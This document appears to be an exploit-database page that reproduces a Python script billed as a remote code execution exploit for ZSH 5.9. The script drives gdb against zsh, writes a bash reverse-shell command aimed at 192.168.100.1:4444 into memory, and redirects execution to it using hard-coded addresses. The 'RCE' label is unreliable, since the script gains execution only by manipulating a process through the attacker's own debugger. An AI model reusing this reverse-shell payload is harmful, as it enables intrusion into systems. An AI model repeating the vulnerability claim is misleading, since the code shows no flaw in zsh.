Share
## https://sploitus.com/exploit?id=PACKETSTORM:218658
# Exploit ZSH 5.9 - RCE 
    # Date: 30-12-2025
    # Exploit Author: sinanadilrana
    import pexpect
    import sys
    import time
    
    def debug_print(msg):
        print(f"[DEBUG] {msg}")
    
    def return_to_gdb(gdb, max_attempts=3, timeout=3):
        """More reliable function to return to GDB prompt"""
        debug_print("Attempting to return to GDB...")
        for attempt in range(max_attempts):
            gdb.sendintr()  # Send CTRL+C
            time.sleep(0.5)
            try:
                index = gdb.expect([b'pwndbg>', b'\(gdb\)', pexpect.TIMEOUT], timeout=timeout)
                if index in [0, 1]:  # Found either pwndbg> or (gdb) prompt
                    debug_print("Successfully returned to GDB")
                    return True
            except pexpect.EOF:
                debug_print("Session ended unexpectedly")
                return False
            
            debug_print(f"Attempt {attempt + 1} failed, retrying...")
        
        debug_print("Failed to return to GDB after maximum attempts")
        return False
    
    # Configure pexpect with consistent bytes mode
    gdb = pexpect.spawn('gdb --args zsh -f', timeout=30, encoding=None)
    gdb.logfile = sys.stdout.buffer
    
    debug_print("Starting GDB with zsh -f...")
    try:
        gdb.expect(b'pwndbg>', timeout=10)
        debug_print("GDB started successfully")
    except (pexpect.EOF, pexpect.TIMEOUT) as e:
        debug_print(f"GDB failed to start: {str(e)}")
        sys.exit(1)
    
    # Run zsh and handle shell
    debug_print("Running zsh...")
    gdb.sendline(b'run')
    
    shell_prompts = [b'% ', b'# ', b'\\$ ', b'vuln>', b'vuln% ']
    try:
        gdb.expect(shell_prompts + [b'pwndbg>'], timeout=10)
        debug_print("Shell started successfully")
    except pexpect.TIMEOUT:
        debug_print("Timeout waiting for shell")
        gdb.sendintr()
        time.sleep(1)
    
    # Shell command execution
    if any(prompt in gdb.after for prompt in shell_prompts):
        for cmd in [b'!', b'!!11111111111']:
            debug_print(f"Sending: {cmd.decode('utf-8', errors='replace')}")
            gdb.sendline(cmd)
            try:
                gdb.expect(shell_prompts, timeout=3)
                debug_print("Command executed")
            except pexpect.TIMEOUT:
                debug_print("No response from command")
    
        # Use the new return_to_gdb function
        if not return_to_gdb(gdb):
            debug_print("Critical error - couldn't return to GDB")
            sys.exit(1)
    
    # Memory operations - simplified and more reliable
    if b'pwndbg>' in gdb.after:
        mem_commands = [
            b'x/s 0x555555659000',
            b'set {char[120]} 0x555555659000 = "bash -c \\"bash -i >& /dev/tcp/192.168.100.1/4444 0>&1\\""',
            b'set {long}0x7fffffffd868 = 0x7ffff7cc9110',
            b'set $rdi = 0x555555659000',
            b'set $rsp = $rsp - 8',
            b'continue',
            b'set {long}$rsp = 0x55555555a000',
            b'set $rip = 0x7ffff7cc9110',
            b'set $rdi = 0x555555659000',
            b'continue'
        ]
    
        for cmd in mem_commands:
            debug_print(f"Executing: {cmd.decode('utf-8', errors='replace')}")
            gdb.sendline(cmd)
            try:
                if b'continue' in cmd:
                    gdb.expect([b'pwndbg>'] + shell_prompts, timeout=15)
                else:
                    gdb.expect(b'pwndbg>', timeout=5)
            except pexpect.TIMEOUT:
                debug_print("Timeout - attempting to recover...")
                if not return_to_gdb(gdb):
                    debug_print("Failed to recover after timeout")
                    break
    
    # Final interactive mode
    debug_print("Complete - entering interactive")
    try:
        gdb.logfile = None
        gdb.interact()
    except Exception as e:
        debug_print(f"Interactive error: {str(e)}")
    finally:
        gdb.close()